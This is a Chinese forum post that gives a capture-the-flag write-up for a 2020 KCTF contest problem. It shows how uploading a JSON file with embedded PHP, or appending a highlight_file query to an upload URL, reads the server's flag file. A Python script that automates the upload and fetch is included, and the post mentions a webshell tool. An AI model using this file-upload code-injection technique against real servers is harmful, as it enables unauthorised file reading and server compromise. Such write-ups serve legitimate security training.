首页
论坛
课程
招聘
[原创][原创] 看雪.安恒2020 KCTF春季赛 第八题 牛刀小试 by 心学
2020-5-1 11:20 2615

[原创][原创] 看雪.安恒2020 KCTF春季赛 第八题 牛刀小试 by 心学

htg 活跃值
2
2020-5-1 11:20
2615

最初题目应该是直接暴露了源码,
可以在上传文件后,在文件url后面添加?1=highlight_file(%22/flag%22)即可获取flag
flag{ko_ko_da_yo~}
之后,服务器版本变化了,上面的方法不能用了。
下面的这个可以获取服务器的php版本信息
构造json文件:
{data":"<?php phpinfo()?>"}
构造json代码:直接暴露flag

JSON:2.php
{
    "ok":"<?php highlight_file('/flag'); ?>"
}

题目直接说了在根目录。
这个提示,也就不需要用 getshell了。
但是位置放在其他地方,就需要用蚁剑了。
结果:

{'file': <_io.TextIOWrapper name='2.php' mode='r' encoding='utf-8'>}
url:http://47.102.223.17:2333/
rStr:upload/1472045218.php
url 1:http://47.102.223.17:2333/upload/1472045218.php
len(url 1):47
200
UTF-8
ascii
{
        "ok":"<code><span style="color: #000000">
flag{ko_ko_da_yo~}<br /></span>
</code>"
}

代码Python:getFlag.py

import requests

url = 'http://47.102.223.17:2333/'
filesA = {'file':open('2.php','r',encoding='utf-8')}
print(filesA)
print ('url:%s'%url)
#文件内不允许有:[  ]    `  '    ^  \   /   $   .   ; 
#文件内不能有两个值:"data"="","str2":"1212"
r = requests.post(url,files=filesA)
rStr = r.text.strip()#尾部存在空格。。。。
print('rStr:%s'%(rStr))
if rStr != 'JsonErr' and rStr !='DataErr' and rStr !='Long' and rStr !='no' and not r'<br />' in rStr:
    url = url + rStr
    print ('url 1:%s'%url)
    print ('len(url 1):%s'%(len(url)))
    headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'}
    s  = requests.get(url,headers=headers)
    print(s.status_code)
    print(s.encoding)
    print(s.apparent_encoding)
    print(s.text)

[公告]请完善个人简历信息,好工作来找你!

最后于 2020-5-1 20:54 被htg编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回